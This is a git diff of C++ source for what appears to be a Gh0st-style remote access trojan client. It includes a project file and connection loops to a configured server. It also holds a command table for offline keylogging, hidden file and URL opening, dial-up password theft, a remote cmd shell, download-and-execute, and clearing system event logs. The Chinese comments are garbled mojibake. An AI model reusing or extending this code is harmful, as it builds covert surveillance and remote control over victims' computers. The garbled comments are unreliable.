<ClInclude Include="AudioManager.h" />
|
||||
<ClInclude Include="Buffer.h" />
|
||||
<ClInclude Include="CaptureVideo.h" />
|
||||
<ClInclude Include="Common.h" />
|
||||
<ClInclude Include="CursorInfo.h" />
|
||||
<ClInclude Include="FileManager.h" />
|
||||
<ClInclude Include="IOCPClient.h" />
|
||||
<ClInclude Include="KernelManager.h" />
|
||||
<ClInclude Include="KeyboardManager.h" />
|
||||
<ClInclude Include="LoginServer.h" />
|
||||
<ClInclude Include="Manager.h" />
|
||||
<ClInclude Include="RegisterManager.h" />
|
||||
<ClInclude Include="RegisterOperation.h" />
|
||||
<ClInclude Include="resource.h" />
|
||||
<ClInclude Include="ScreenCapture.h" />
|
||||
<ClInclude Include="ScreenCapturerDXGI.h" />
|
||||
<ClInclude Include="ScreenManager.h" />
|
||||
<ClInclude Include="ScreenSpy.h" />
|
||||
<ClInclude Include="ServicesManager.h" />
|
||||
<ClInclude Include="ShellManager.h" />
|
||||
<ClInclude Include="StdAfx.h" />
|
||||
<ClInclude Include="SystemManager.h" />
|
||||
<ClInclude Include="TalkManager.h" />
|
||||
<ClInclude Include="VideoCodec.h" />
|
||||
<ClInclude Include="VideoManager.h" />
|
||||
<ClInclude Include="X264Encoder.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="Script.rc" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="ExportFunTable.def" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Media Include="Res\msg.wav" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Image Include="Res\ghost.ico" />
|
||||
<Image Include="Res\msg.ico" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -10,33 +10,9 @@
|
||||
#include "RegisterManager.h"
|
||||
#include "ServicesManager.h"
|
||||
#include "VideoManager.h"
|
||||
#include "KernelManager.h"
|
||||
#include "KeyboardManager.h"
|
||||
|
||||
extern char g_szServerIP[MAX_PATH];
|
||||
extern unsigned short g_uPort;
|
||||
|
||||
HANDLE _CreateThread (LPSECURITY_ATTRIBUTES SecurityAttributes,
|
||||
SIZE_T dwStackSize,
|
||||
LPTHREAD_START_ROUTINE StartAddress,
|
||||
LPVOID lParam,
|
||||
DWORD dwCreationFlags,
|
||||
LPDWORD ThreadId, bool bInteractive)
|
||||
{
|
||||
HANDLE hThread = INVALID_HANDLE_VALUE;
|
||||
THREAD_ARG_LIST ThreadArgList = {0};
|
||||
ThreadArgList.StartAddress = StartAddress;
|
||||
ThreadArgList.lParam = (void *)lParam; //IP
|
||||
ThreadArgList.bInteractive = bInteractive; //??
|
||||
ThreadArgList.hEvent = CreateEvent(NULL,FALSE,FALSE,NULL);
|
||||
hThread = (HANDLE)CreateThread(SecurityAttributes,
|
||||
dwStackSize,(LPTHREAD_START_ROUTINE)ThreadProc, &ThreadArgList,
|
||||
dwCreationFlags, (LPDWORD)ThreadId);
|
||||
|
||||
WaitForSingleObject(ThreadArgList.hEvent, INFINITE);
|
||||
CloseHandle(ThreadArgList.hEvent);
|
||||
|
||||
return hThread;
|
||||
}
|
||||
#include "KernelManager.h"
|
||||
|
||||
DWORD WINAPI ThreadProc(LPVOID lParam)
|
||||
{
|
||||
@@ -52,9 +28,10 @@ template <class Manager, int n> DWORD WINAPI LoopManager(LPVOID lParam)
|
||||
{
|
||||
ThreadInfo *pInfo = (ThreadInfo *)lParam;
|
||||
IOCPClient *ClientObject = pInfo->p;
|
||||
if (ClientObject->ConnectServer(g_szServerIP,g_uPort))
|
||||
CONNECT_ADDRESS& g_SETTINGS(*(pInfo->conn));
|
||||
if (ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort()))
|
||||
{
|
||||
Manager m(ClientObject, n);
|
||||
Manager m(ClientObject, n, pInfo->user);
|
||||
ClientObject->RunEventLoop(pInfo->run);
|
||||
}
|
||||
delete ClientObject;
|
||||
@@ -112,3 +89,8 @@ DWORD WINAPI LoopServicesManager(LPVOID lParam)
|
||||
{
|
||||
return LoopManager<CServicesManager, 0>(lParam);
|
||||
}
|
||||
|
||||
DWORD WINAPI LoopKeyboardManager(LPVOID lParam)
|
||||
{
|
||||
return LoopManager<CKeyboardManager1, 0>(lParam);
|
||||
}
|
||||
|
||||
136
client/Common.h
136
client/Common.h
@@ -1,126 +1,7 @@
|
||||
#pragma once
|
||||
|
||||
#include "StdAfx.h"
|
||||
#include "IOCPClient.h"
|
||||
|
||||
enum
|
||||
{
|
||||
// <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>䷽ʽ
|
||||
TRANSFER_MODE_NORMAL = 0x00, // һ<><D2BB>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ػ<EFBFBD><D8BB><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD>Ѿ<EFBFBD><D1BE>У<EFBFBD>ȡ<EFBFBD><C8A1>
|
||||
TRANSFER_MODE_ADDITION, // <><D7B7>
|
||||
TRANSFER_MODE_ADDITION_ALL, // ȫ<><C8AB><EFBFBD><D7B7>
|
||||
TRANSFER_MODE_OVERWRITE, // <20><><EFBFBD><EFBFBD>
|
||||
TRANSFER_MODE_OVERWRITE_ALL, // ȫ<><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
TRANSFER_MODE_JUMP, // <20><><EFBFBD><EFBFBD>
|
||||
TRANSFER_MODE_JUMP_ALL, // ȫ<><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
TRANSFER_MODE_CANCEL, // ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
// <20><><EFBFBD>ƶ˷<C6B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMMAND_ACTIVED = 0x00, // <20><><EFBFBD><EFBFBD><EFBFBD>˿<EFBFBD><CBBF>Լ<EFBFBD><D4BC>ʼ<EEBFAA><CABC><EFBFBD><EFBFBD>
|
||||
COMMAND_LIST_DRIVE, // <20>г<EFBFBD><D0B3><EFBFBD><EFBFBD><EFBFBD>Ŀ¼
|
||||
COMMAND_LIST_FILES, // <20>г<EFBFBD>Ŀ¼<C4BF>е<EFBFBD><D0B5>ļ<EFBFBD>
|
||||
COMMAND_DOWN_FILES, // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
|
||||
COMMAND_FILE_SIZE, // <20>ϴ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>С
|
||||
COMMAND_FILE_DATA, // <20>ϴ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMMAND_EXCEPTION, // <20><><EFBFBD>䷢<EFBFBD><E4B7A2><EFBFBD>쳣<EFBFBD><ECB3A3><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD>´<EFBFBD><C2B4><EFBFBD>
|
||||
COMMAND_CONTINUE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMMAND_STOP, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֹ
|
||||
COMMAND_DELETE_FILE, // ɾ<><C9BE><EFBFBD>ļ<EFBFBD>
|
||||
COMMAND_DELETE_DIRECTORY, // ɾ<><C9BE>Ŀ¼
|
||||
COMMAND_SET_TRANSFER_MODE, // <20><><EFBFBD>ô<EFBFBD><C3B4>䷽ʽ
|
||||
COMMAND_CREATE_FOLDER, // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
|
||||
COMMAND_RENAME_FILE, // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMMAND_OPEN_FILE_SHOW, // <20><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
|
||||
COMMAND_OPEN_FILE_HIDE, // <20><><EFBFBD>ش<EFBFBD><D8B4><EFBFBD><EFBFBD>ļ<EFBFBD>
|
||||
|
||||
COMMAND_SCREEN_SPY, // <20><>Ļ<EFBFBD>鿴
|
||||
COMMAND_SCREEN_RESET, // <20>ı<EFBFBD><C4B1><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD>
|
||||
COMMAND_ALGORITHM_RESET, // <20>ı<EFBFBD><C4B1>㷨
|
||||
COMMAND_SCREEN_CTRL_ALT_DEL, // <20><><EFBFBD><EFBFBD>Ctrl+Alt+Del
|
||||
COMMAND_SCREEN_CONTROL, // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD>
|
||||
COMMAND_SCREEN_BLOCK_INPUT, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˼<EFBFBD><CBBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMMAND_SCREEN_BLANK, // <20><><EFBFBD><EFBFBD><EFBFBD>˺<EFBFBD><CBBA><EFBFBD>
|
||||
COMMAND_SCREEN_CAPTURE_LAYER, // <20><><EFBFBD><D7BD>
|
||||
COMMAND_SCREEN_GET_CLIPBOARD, // <20><>ȡԶ<C8A1>̼<EFBFBD><CCBC><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMMAND_SCREEN_SET_CLIPBOARD, // <20><><EFBFBD><EFBFBD>Զ<EFBFBD>̼<EFBFBD><CCBC><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
COMMAND_WEBCAM, // <20><><EFBFBD><EFBFBD>ͷ
|
||||
COMMAND_WEBCAM_ENABLECOMPRESS, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>Ҫ<EFBFBD><EFBFBD>H263ѹ<33><D1B9>
|
||||
COMMAND_WEBCAM_DISABLECOMPRESS, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA>ԭʼ<D4AD><CABC><EFBFBD><EFBFBD>ģʽ
|
||||
COMMAND_WEBCAM_RESIZE, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD>ֱ<EFBFBD><D6B1>ʣ<EFBFBD><CAA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>INT<4E>͵Ŀ<CDB5><C4BF><EFBFBD>
|
||||
COMMAND_NEXT, // <20><>һ<EFBFBD><D2BB>(<28><><EFBFBD>ƶ<EFBFBD><C6B6>Ѿ<EFBFBD><D1BE>Ի<F2BFAAB6><D4BB><EFBFBD>)
|
||||
|
||||
COMMAND_KEYBOARD, // <20><><EFBFBD>̼<EFBFBD>¼
|
||||
COMMAND_KEYBOARD_OFFLINE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><DFBC>̼<EFBFBD>¼
|
||||
COMMAND_KEYBOARD_CLEAR, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̼<EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD>
|
||||
|
||||
COMMAND_AUDIO, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
COMMAND_SYSTEM, // ϵͳ<CFB5><CDB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̣<EFBFBD><CCA3><EFBFBD><EFBFBD><EFBFBD>....<2E><>
|
||||
COMMAND_PSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||
COMMAND_WSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||
COMMAND_DIALUPASS, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMMAND_KILLPROCESS, // <20>رս<D8B1><D5BD><EFBFBD>
|
||||
COMMAND_SHELL, // cmdshell
|
||||
COMMAND_SESSION, // <20>Ự<EFBFBD><E1BBB0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ػ<EFBFBD><D8BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2>, ж<>أ<EFBFBD>
|
||||
COMMAND_REMOVE, // ж<>غ<EFBFBD><D8BA><EFBFBD>
|
||||
COMMAND_DOWN_EXEC, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD><EFBFBD>ִ<EFBFBD><D6B4>
|
||||
COMMAND_UPDATE_SERVER, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD>ظ<EFBFBD><D8B8><EFBFBD>
|
||||
COMMAND_CLEAN_EVENT, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD><EFBFBD>ϵͳ<CFB5><CDB3>־
|
||||
COMMAND_OPEN_URL_HIDE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD>ش<EFBFBD><D8B4><EFBFBD><EFBFBD><EFBFBD>ҳ
|
||||
COMMAND_OPEN_URL_SHOW, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ҳ
|
||||
COMMAND_RENAME_REMARK, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע
|
||||
COMMAND_REPLAY_HEARTBEAT, // <20>ظ<EFBFBD><D8B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMMAND_SERVICES, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMMAND_REGEDIT,
|
||||
COMMAND_TALK, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2>֤
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>˷<EFBFBD><CBB7><EFBFBD><EFBFBD>ı<EFBFBD>ʶ
|
||||
TOKEN_AUTH = 100, // Ҫ<><D2AA><EFBFBD><EFBFBD>֤
|
||||
TOKEN_HEARTBEAT, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
TOKEN_LOGIN, // <20><><EFBFBD>߰<EFBFBD>
|
||||
TOKEN_DRIVE_LIST, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||
TOKEN_FILE_LIST, // <20>ļ<EFBFBD><C4BC>б<EFBFBD>
|
||||
TOKEN_FILE_SIZE, // <20>ļ<EFBFBD><C4BC><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>ʱ<EFBFBD><CAB1>
|
||||
TOKEN_FILE_DATA, // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
TOKEN_TRANSFER_FINISH, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
TOKEN_DELETE_FINISH, // ɾ<><C9BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
TOKEN_GET_TRANSFER_MODE, // <20>õ<EFBFBD><C3B5>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>䷽ʽ
|
||||
TOKEN_GET_FILEDATA, // Զ<>̵õ<CCB5><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
TOKEN_CREATEFOLDER_FINISH, // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
TOKEN_DATA_CONTINUE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
TOKEN_RENAME_FINISH, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
TOKEN_EXCEPTION, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>쳣
|
||||
|
||||
TOKEN_BITMAPINFO, // <20><>Ļ<EFBFBD>鿴<EFBFBD><E9BFB4>BITMAPINFO
|
||||
TOKEN_FIRSTSCREEN, // <20><>Ļ<EFBFBD>鿴<EFBFBD>ĵ<EFBFBD>һ<EFBFBD><D2BB>ͼ
|
||||
TOKEN_NEXTSCREEN, // <20><>Ļ<EFBFBD>鿴<EFBFBD><E9BFB4><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>ͼ
|
||||
TOKEN_CLIPBOARD_TEXT, // <20><>Ļ<EFBFBD>鿴ʱ<E9BFB4><CAB1><EFBFBD>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
TOKEN_WEBCAM_BITMAPINFO, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>BITMAPINFOHEADER
|
||||
TOKEN_WEBCAM_DIB, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
TOKEN_AUDIO_START, // <20><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
TOKEN_AUDIO_DATA, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
TOKEN_KEYBOARD_START, // <20><><EFBFBD>̼<EFBFBD>¼<EFBFBD><C2BC>ʼ
|
||||
TOKEN_KEYBOARD_DATA, // <20><><EFBFBD>̼<EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
TOKEN_PSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||
TOKEN_WSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||
TOKEN_DIALUPASS, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
TOKEN_SHELL_START, // Զ<><D4B6><EFBFBD>ն˿<D5B6>ʼ
|
||||
TOKEN_SERVERLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||
COMMAND_SERVICELIST, // ˢ<>·<EFBFBD><C2B7><EFBFBD><EFBFBD>б<EFBFBD>
|
||||
COMMAND_SERVICECONFIG, // <20><><EFBFBD><EFBFBD><EFBFBD>˷<EFBFBD><CBB7><EFBFBD><EFBFBD>ı<EFBFBD>ʶ
|
||||
TOKEN_TALK_START, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2>ʼ
|
||||
TOKEN_TALKCMPLT, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2><EFBFBD>ط<EFBFBD>
|
||||
TOKEN_REGEDIT = 200, // ע<><D7A2><EFBFBD><EFBFBD>
|
||||
COMMAND_REG_FIND, //ע<><D7A2><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʶ
|
||||
TOKEN_REG_KEY,
|
||||
TOKEN_REG_PATH,
|
||||
COMMAND_BYE
|
||||
};
|
||||
|
||||
#include "common/commands.h"
|
||||
|
||||
typedef struct _THREAD_ARG_LIST
|
||||
{
|
||||
@@ -130,12 +11,12 @@ typedef struct _THREAD_ARG_LIST
|
||||
HANDLE hEvent;
|
||||
}THREAD_ARG_LIST, *LPTHREAD_ARG_LIST;
|
||||
|
||||
HANDLE _CreateThread (LPSECURITY_ATTRIBUTES SecurityAttributes, //<2F><>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD>
|
||||
SIZE_T dwStackSize, //<2F>߳<EFBFBD>ջ<EFBFBD>Ĵ<EFBFBD>С 0
|
||||
LPTHREAD_START_ROUTINE StartAddress, //<2F>̺߳<DFB3><CCBA><EFBFBD><EFBFBD>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD> MyMain
|
||||
LPVOID lParam, //char* strHost IP
|
||||
DWORD dwCreationFlags, //0 4
|
||||
LPDWORD ThreadId, bool bInteractive=FALSE);
|
||||
typedef struct UserParam
|
||||
{
|
||||
BYTE* buffer;
|
||||
int length;
|
||||
~UserParam() { SAFE_DELETE_ARRAY(buffer); }
|
||||
}UserParam;
|
||||
|
||||
DWORD WINAPI ThreadProc(LPVOID lParam);
|
||||
|
||||
@@ -149,3 +30,4 @@ DWORD WINAPI LoopVideoManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopAudioManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopRegisterManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopServicesManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopKeyboardManager(LPVOID lParam);
|
||||
|
||||
89
client/CursorInfo.h
Normal file
89
client/CursorInfo.h
Normal file
@@ -0,0 +1,89 @@
|
||||
// CursorInfor.h: interface for the CCursorInfor class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_)
|
||||
#define AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#define ALGORITHM_GRAY 0
|
||||
#define ALGORITHM_DIFF 1
|
||||
#define ALGORITHM_H264 2
|
||||
|
||||
#define MAX_CURSOR_TYPE 16
|
||||
|
||||
class CCursorInfo
|
||||
{
|
||||
private:
|
||||
LPCTSTR m_CursorResArray[MAX_CURSOR_TYPE];
|
||||
HCURSOR m_CursorHandleArray[MAX_CURSOR_TYPE];
|
||||
|
||||
public:
|
||||
CCursorInfo()
|
||||
{
|
||||
LPCTSTR CursorResArray[MAX_CURSOR_TYPE] =
|
||||
{
|
||||
IDC_APPSTARTING,
|
||||
IDC_ARROW,
|
||||
IDC_CROSS,
|
||||
IDC_HAND,
|
||||
IDC_HELP,
|
||||
IDC_IBEAM,
|
||||
IDC_ICON,
|
||||
IDC_NO,
|
||||
IDC_SIZE,
|
||||
IDC_SIZEALL,
|
||||
IDC_SIZENESW,
|
||||
IDC_SIZENS,
|
||||
IDC_SIZENWSE,
|
||||
IDC_SIZEWE,
|
||||
IDC_UPARROW,
|
||||
IDC_WAIT
|
||||
};
|
||||
|
||||
for (int i = 0; i < MAX_CURSOR_TYPE; ++i)
|
||||
{
|
||||
m_CursorResArray[i] = CursorResArray[i];
|
||||
m_CursorHandleArray[i] = LoadCursor(NULL, CursorResArray[i]);
|
||||
}
|
||||
}
|
||||
|
||||
virtual ~CCursorInfo()
|
||||
{
|
||||
for (int i = 0; i < MAX_CURSOR_TYPE; ++i)
|
||||
DestroyCursor(m_CursorHandleArray[i]);
|
||||
}
|
||||
|
||||
int getCurrentCursorIndex()
|
||||
{
|
||||
CURSORINFO ci;
|
||||
ci.cbSize = sizeof(CURSORINFO);
|
||||
if (!GetCursorInfo(&ci) || ci.flags != CURSOR_SHOWING)
|
||||
return -1;
|
||||
|
||||
int i;
|
||||
for (i = 0; i < MAX_CURSOR_TYPE; ++i)
|
||||
{
|
||||
if (ci.hCursor == m_CursorHandleArray[i])
|
||||
break;
|
||||
}
|
||||
DestroyCursor(ci.hCursor);
|
||||
|
||||
int nIndex = i == MAX_CURSOR_TYPE ? -1 : i;
|
||||
return nIndex;
|
||||
}
|
||||
|
||||
HCURSOR getCursorHandle( int nIndex )
|
||||
{
|
||||
if (nIndex >= 0 && nIndex < MAX_CURSOR_TYPE)
|
||||
return m_CursorHandleArray[nIndex];
|
||||
else
|
||||
return NULL;
|
||||
}
|
||||
};
|
||||
|
||||
|
||||
#endif // !defined(AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_)
|
||||
@@ -1,40 +0,0 @@
|
||||
// CursorInfor.cpp: implementation of the CCursorInfor class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "CursorInfor.h"
|
||||
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CCursorInfor::CCursorInfor()
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
CCursorInfor::~CCursorInfor()
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
int CCursorInfor::GetCurrentCursorIndex()
|
||||
{
|
||||
CURSORINFO ci;
|
||||
ci.cbSize = sizeof(CURSORINFO);
|
||||
if (!GetCursorInfo(&ci) || ci.flags != CURSOR_SHOWING)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
int iIndex = 0;
|
||||
for (iIndex = 0; iIndex < MAX_CURSOR_TYPE; iIndex++)
|
||||
{
|
||||
break;
|
||||
}
|
||||
DestroyCursor(ci.hCursor);
|
||||
|
||||
return iIndex == MAX_CURSOR_TYPE ? -1 : iIndex;
|
||||
}
|
||||
@@ -1,22 +0,0 @@
|
||||
// CursorInfor.h: interface for the CCursorInfor class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_)
|
||||
#define AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#define MAX_CURSOR_TYPE 16
|
||||
class CCursorInfor
|
||||
{
|
||||
public:
|
||||
CCursorInfor();
|
||||
virtual ~CCursorInfor();
|
||||
|
||||
int GetCurrentCursorIndex();
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_)
|
||||
@@ -1,3 +1,4 @@
|
||||
EXPORTS
|
||||
TestRun
|
||||
StopRun
|
||||
Run
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "FileManager.h"
|
||||
#include <shellapi.h>
|
||||
|
||||
typedef struct
|
||||
{
|
||||
@@ -14,7 +15,7 @@ typedef struct
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CFileManager::CFileManager(CClientSocket *pClient, int h):CManager(pClient)
|
||||
CFileManager::CFileManager(CClientSocket *pClient, int h, void* user):CManager(pClient)
|
||||
{
|
||||
m_nTransferMode = TRANSFER_MODE_NORMAL;
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>, <20><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>
|
||||
@@ -26,7 +27,7 @@ CFileManager::~CFileManager()
|
||||
m_UploadList.clear();
|
||||
}
|
||||
|
||||
void CFileManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
|
||||
VOID CFileManager::OnReceive(PBYTE lpBuffer, ULONG nSize)
|
||||
{
|
||||
switch (lpBuffer[0])
|
||||
{
|
||||
@@ -251,8 +252,8 @@ UINT CFileManager::SendDriveList()
|
||||
|
||||
unsigned __int64 HDAmount = 0;
|
||||
unsigned __int64 HDFreeSpace = 0;
|
||||
unsigned long AmntMB = 0; // <20>ܴ<EFBFBD>С
|
||||
unsigned long FreeMB = 0; // ʣ<><CAA3><EFBFBD>ռ<EFBFBD>
|
||||
unsigned __int64 AmntMB = 0; // <20>ܴ<EFBFBD>С
|
||||
unsigned __int64 FreeMB = 0; // ʣ<><CAA3><EFBFBD>ռ<EFBFBD>
|
||||
|
||||
DWORD dwOffset = 1;
|
||||
for (; *pDrive != '\0'; pDrive += lstrlen(pDrive) + 1)
|
||||
@@ -260,7 +261,7 @@ UINT CFileManager::SendDriveList()
|
||||
